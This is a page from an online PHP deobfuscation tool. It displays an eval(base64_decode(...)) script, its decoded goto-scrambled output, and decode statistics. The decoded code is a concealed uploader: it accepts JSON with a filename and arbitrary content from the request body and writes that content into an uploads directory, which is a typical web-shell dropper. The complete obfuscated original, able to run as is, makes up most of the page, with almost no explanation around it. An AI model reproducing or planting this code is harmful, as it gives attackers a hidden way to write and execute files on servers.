Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIFJMc2NROyBybG9zWjogRWRFVEw6IGdvdG8gUV9uNF87IERucEEyOiBj..
Decoded Output download
goto RLscQ; rlosZ: EdETL: goto Q_n4_; DnpA2: c3sr3: goto HyvaS; aXhOc: F3jtx: goto tv4xp; AgpWo: $n_4 = $j_3 . base64_decode("Lw==") . $h_1; goto nFyvk; QCN5c: goto uMQwA; goto osCz5; Q_n4_: $j_3 = __DIR__ . base64_decode("L3VwbG9hZHM="); goto G8YgF; RLscQ: goto Js8uL; goto JUGEC; x95xF: try { if (file_put_contents($n_4, $d_2) !== false) { echo json_encode(array(base64_decode("c3RhdHVz") => base64_decode("c3VjY2Vzcw=="), base64_decode("bWVzc2FnZQ==") => base64_decode("RmlsZSBjcmVhdGVk"), base64_decode("cGF0aA==") => $n_4)); } else { throw new o_5(base64_decode("RmFpbGVkIHRvIHdyaXRlIHRoZSBmaWxlLg==")); } } catch (Exception $t_6) { http_response_code(500); echo json_encode(array(base64_decode("c3RhdHVz") => base64_decode("ZXJyb3I="), base64_decode("bWVzc2FnZQ==") => $t_6->i_7())); } goto QCN5c; osCz5: JWhzT: goto AgpWo; v6NSw: if (!$h_0 || !isset($h_0[base64_decode("Y29kZQ==")]) || !isset($h_0[base64_decode("ZmlsZW5hbWU=")])) { http_response_code(400); echo json_encode(array(base64_decode("c3RhdHVz") => base64_decode("ZXJyb3I="), base64_decode("bWVzc2FnZQ==") => base64_decode("SW52YWxpZCBkYXRhIHJlY2VpdmVkLg=="))); die; } goto MT2bI; FY0Fq: uMQwA: goto yh39q; nFyvk: goto YBQL0; goto mN3Sz; y6GG5: OvIPP: goto RjsWL; MT2bI: goto OvIPP; goto aXhOc; mN3Sz: Js8uL: goto P7wb3; deNUR: goto PJQf5; goto y6GG5; RjsWL: $h_1 = basename($h_0[base64_decode("ZmlsZW5hbWU=")]); goto dQkJF; P7wb3: $h_0 = json_decode(file_get_contents(base64_decode("cGhwOi8vaW5wdXQ=")), true); goto deNUR; JUGEC: YBQL0: goto x95xF; dQkJF: goto F3jtx; goto rlosZ; OvnMU: PJQf5: goto v6NSw; tv4xp: $d_2 = $h_0[base64_decode("Y29kZQ==")]; goto j22Cl; yGYwr: goto JWhzT; goto OvnMU; G8YgF: goto c3sr3; goto DnpA2; HyvaS: if (!is_dir($j_3)) { mkdir($j_3, 493, true); } goto yGYwr; j22Cl: goto EdETL; goto FY0Fq; yh39q:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIFJMc2NROyBybG9zWjogRWRFVEw6IGdvdG8gUV9uNF87IERucEEyOiBjM3NyMzogZ290byBIeXZhUzsgYVhoT2M6IEYzanR4OiBnb3RvIHR2NHhwOyBBZ3BXbzogJG5fNCA9ICRqXzMgLiBiYXNlNjRfZGVjb2RlKCJceDRjXHg3N1x4M2RcNzUiKSAuICRoXzE7IGdvdG8gbkZ5dms7IFFDTjVjOiBnb3RvIHVNUXdBOyBnb3RvIG9zQ3o1OyBRX240XzogJGpfMyA9IF9fRElSX18gLiBiYXNlNjRfZGVjb2RlKCJcMTE0XDYzXHg1NlwxNjdcMTQyXHg0N1w3MVwxNTBceDVhXHg0OFwxMTVcNzUiKTsgZ290byBHOFlnRjsgUkxzY1E6IGdvdG8gSnM4dUw7IGdvdG8gSlVHRUM7IHg5NXhGOiB0cnkgeyBpZiAoZmlsZV9wdXRfY29udGVudHMoJG5fNCwgJGRfMikgIT09IGZhbHNlKSB7IGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoYmFzZTY0X2RlY29kZSgiXHg2M1x4MzNcMTIyXDE1MFwxNDRcMTEwXDEyNlwxNzIiKSA9PiBiYXNlNjRfZGVjb2RlKCJcMTQzXHgzM1x4NTZcMTUyXHg1OVw2Mlx4NTZceDdhXHg2M1x4NzdceDNkXHgzZCIpLCBiYXNlNjRfZGVjb2RlKCJcMTQyXDEyN1wxMjZcMTcyXHg2M1x4MzJceDQ2XHg2ZVwxMzJcMTIxXHgzZFx4M2QiKSA9PiBiYXNlNjRfZGVjb2RlKCJceDUyXDE1NVwxNTRcMTYzXHg1YVx4NTNceDQyXHg2YVwxNDNceDZkXDEyNlwxNTBceDY0XHg0N1x4NTZceDZiIiksIGJhc2U2NF9kZWNvZGUoIlx4NjNceDQ3XHg0Nlw2MFwxNDFcMTAxXHgzZFx4M2QiKSA9PiAkbl80KSk7IH0gZWxzZSB7IHRocm93IG5ldyBvXzUoYmFzZTY0X2RlY29kZSgiXDEyMlwxNTVceDQ2XHg3MFx4NjJceDQ3XDEyNlx4NmJcMTExXHg0OFx4NTJcMTY2XDExMVwxMTBceDY0XHg3OVx4NjFcMTMwXDEyMlx4NmNceDQ5XHg0OFwxMjJcMTU3XDEzMlwxMjNceDQyXHg2ZFx4NjFcMTI3XHg3OFwxNTRceDRjXHg2N1x4M2RcNzUiKSk7IH0gfSBjYXRjaCAoRXhjZXB0aW9uICR0XzYpIHsgaHR0cF9yZXNwb25zZV9jb2RlKDUwMCk7IGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoYmFzZTY0X2RlY29kZSgiXHg2M1x4MzNcMTIyXHg2OFwxNDRceDQ4XHg1NlwxNzIiKSA9PiBiYXNlNjRfZGVjb2RlKCJceDVhXHg1OFx4NGFceDc5XDE0Mlx4MzNceDQ5XDc1IiksIGJhc2U2NF9kZWNvZGUoIlx4NjJceDU3XHg1Nlx4N2FceDYzXHgzMlx4NDZceDZlXHg1YVx4NTFceDNkXHgzZCIpID0+ICR0XzYtPmlfNygpKSk7IH0gZ290byBRQ041Yzsgb3NDejU6IEpXaHpUOiBnb3RvIEFncFdvOyB2Nk5TdzogaWYgKCEkaF8wIHx8ICFpc3NldCgkaF8wW2Jhc2U2NF9kZWNvZGUoIlwxMzFceDMyXDcxXDE1M1x4NWFcMTIxXHgzZFw3NSIpXSkgfHwgIWlzc2V0KCRoXzBbYmFzZTY0X2RlY29kZSgiXHg1YVx4NmRcMTU0XDE2M1wxMzJceDU3XDY1XHg2OFwxNDJcMTI3XDEyNVw3NSIpXSkpIHsgaHR0cF9yZXNwb25zZV9jb2RlKDQwMCk7IGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoYmFzZTY0X2RlY29kZSgiXDE0M1w2M1x4NTJceDY4XDE0NFwxMTBceDU2XHg3YSIpID0+IGJhc2U2NF9kZWNvZGUoIlx4NWFcMTMwXHg0YVx4NzlceDYyXDYzXDExMVx4M2QiKSwgYmFzZTY0X2RlY29kZSgiXDE0Mlx4NTdceDU2XHg3YVwxNDNcNjJceDQ2XDE1Nlx4NWFcMTIxXDc1XDc1IikgPT4gYmFzZTY0X2RlY29kZSgiXDEyM1wxMjdcNjVcNjJceDU5XHg1N1wxNzBceDcwXHg1YVx4NDNcMTAyXHg2Ylx4NTlceDU4XHg1MlwxNTBceDQ5XDExMFwxMTJcMTU0XHg1OVw2Mlx4NTZcMTYwXDE0NFwxNTVcMTI2XDE1M1x4NGNcMTQ3XDc1XDc1IikpKTsgZGllOyB9IGdvdG8gTVQyYkk7IEZZMEZxOiB1TVF3QTogZ290byB5aDM5cTsgbkZ5dms6IGdvdG8gWUJRTDA7IGdvdG8gbU4zU3o7IHk2R0c1OiBPdklQUDogZ290byBSanNXTDsgTVQyYkk6IGdvdG8gT3ZJUFA7IGdvdG8gYVhoT2M7IG1OM1N6OiBKczh1TDogZ290byBQN3diMzsgZGVOVVI6IGdvdG8gUEpRZjU7IGdvdG8geTZHRzU7IFJqc1dMOiAkaF8xID0gYmFzZW5hbWUoJGhfMFtiYXNlNjRfZGVjb2RlKCJcMTMyXHg2ZFx4NmNcMTYzXDEzMlwxMjdcNjVceDY4XDE0Mlx4NTdcMTI1XDc1IildKTsgZ290byBkUWtKRjsgUDd3YjM6ICRoXzAgPSBqc29uX2RlY29kZShmaWxlX2dldF9jb250ZW50cyhiYXNlNjRfZGVjb2RlKCJcMTQzXDEwN1x4NjhceDc3XDExN1wxNTFcNzBceDc2XHg2MVwxMjdceDM1XHg3N1wxNDRcMTMwXHg1MVw3NSIpKSwgdHJ1ZSk7IGdvdG8gZGVOVVI7IEpVR0VDOiBZQlFMMDogZ290byB4OTV4RjsgZFFrSkY6IGdvdG8gRjNqdHg7IGdvdG8gcmxvc1o7IE92bk1VOiBQSlFmNTogZ290byB2Nk5TdzsgdHY0eHA6ICRkXzIgPSAkaF8wW2Jhc2U2NF9kZWNvZGUoIlwxMzFcNjJcNzFcMTUzXDEzMlx4NTFcNzVceDNkIildOyBnb3RvIGoyMkNsOyB5R1l3cjogZ290byBKV2h6VDsgZ290byBPdm5NVTsgRzhZZ0Y6IGdvdG8gYzNzcjM7IGdvdG8gRG5wQTI7IEh5dmFTOiBpZiAoIWlzX2Rpcigkal8zKSkgeyBta2Rpcigkal8zLCA0OTMsIHRydWUpOyB9IGdvdG8geUdZd3I7IGoyMkNsOiBnb3RvIEVkRVRMOyBnb3RvIEZZMEZxOyB5aDM5cTog')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 894107c289b314ab0c12c5ed8779a223 |
Eval Count | 1 |
Decode Time | 72 ms |